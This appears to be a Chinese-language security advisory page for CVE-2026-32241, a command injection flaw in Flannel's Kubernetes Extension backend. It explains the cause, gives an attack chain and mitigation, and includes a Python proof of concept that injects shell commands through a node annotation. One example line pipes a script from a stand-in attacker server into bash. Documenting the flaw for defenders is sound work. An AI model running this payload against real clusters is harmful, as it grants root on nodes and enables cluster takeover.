IPBUF安全漏洞报告
English
CVE-2026-32241 CVSS 7.5 高危

CVE-2026-32241 Flannel命令注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-32241
漏洞类型
命令注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Flannel

相关标签

命令注入RCEKubernetesFlannel容器安全CVSS-7.5

漏洞概述

Flannel是专为Kubernetes设计的容器网络插件。在0.28.2版本之前,其实验性的Extension后端存在命令注入漏洞。攻击者如果能够设置Kubernetes节点的注释(annotations),特别是`flannel.alpha.coreos.com/backend-data`字段,便可以利用该漏洞在集群中的每个Flannel节点上以root权限执行任意命令。该漏洞源于Extension后端在处理SubnetAddCommand和SubnetRemoveCommand时,直接将未经验证的反序列化数据通过管道传递给shell命令执行。使用vxlan或wireguard后端的配置不受影响。

技术细节

该漏洞的核心原理在于Flannel的Extension后端缺乏对输入数据的严格过滤。当Flannel使用Extension后端时,`SubnetAddCommand`和`SubnetRemoveCommand`会从标准输入(stdin)读取数据,这些数据实际上来源于Kubernetes Node对象的`flannel.alpha.coreos.com/backend-data`注解。在受影响版本中,程序将注解内容进行反序列化处理后,直接通过管道符传递给Shell命令执行,而未对特殊字符或命令分隔符进行转义或检查。由于Kubernetes中具备节点更新权限的攻击者(PR:L)可以修改注解,他们可以在`backend-data`中注入恶意的Shell命令(如`;`, `|`, `&&`等)。当Flannel进程处理这些变更时,恶意命令将被宿主机的Shell以root权限执行。这使得攻击者能够完全控制宿主机,进而威胁整个Kubernetes集群的安全。值得注意的是,只有启用了Extension后端的集群才受影响,默认或常用的vxlan和wireguard后端不涉及此问题。

攻击链分析

STEP 1
侦察
攻击者确认目标Kubernetes集群正在使用Flannel,且配置了实验性的Extension后端。
STEP 2
访问与权限获取
攻击者获取了能够修改Kubernetes Node对象annotations的低权限账号。
STEP 3
漏洞利用
攻击者构造包含Shell命令注入载荷的数据,并将其写入目标节点的`flannel.alpha.coreos.com/backend-data`注解中。
STEP 4
命令执行
Flannel进程从注解中读取数据,反序列化后直接传递给Shell,导致攻击者的恶意命令以root权限在宿主机上运行。
STEP 5
后渗透
攻击者利用获得的root权限控制节点,进一步横向移动渗透整个集群。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC to demonstrate command injection in Flannel Extension backend # Attacker needs permission to patch Node objects in Kubernetes from kubernetes import client, config def exploit_flannel_rce(node_name, malicious_command): # Load kubeconfig config.load_kube_config() api_instance = client.CoreV1Api() # The vulnerable annotation key annotation_key = "flannel.alpha.coreos.com/backend-data" # Payload construction: The data is unmarshalled and piped to shell. # This payload attempts to inject a command separator and the malicious command. # The exact JSON structure may vary based on Flannel config, but the input flows to stdin. payload = f'; {malicious_command} #' body = { "metadata": { "annotations": { annotation_key: payload } } } try: # Patch the node to trigger the vulnerability api_instance.patch_node(node_name, body) print(f"[+] Successfully patched node {node_name} with payload.") print(f"[+] Attempting to execute: {malicious_command}") except Exception as e: print(f"[-] Error: {e}") # Example usage: # exploit_flannel_rce("target-node-name", "curl http://attacker-server/shell.sh | bash") # exploit_flannel_rce("target-node-name", "touch /tmp/pwned")

影响范围

Flannel < v0.28.2

防御指南

临时缓解措施
如果无法立即升级,建议将Flannel后端配置更改为vxlan或wireguard,禁用Extension后端以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表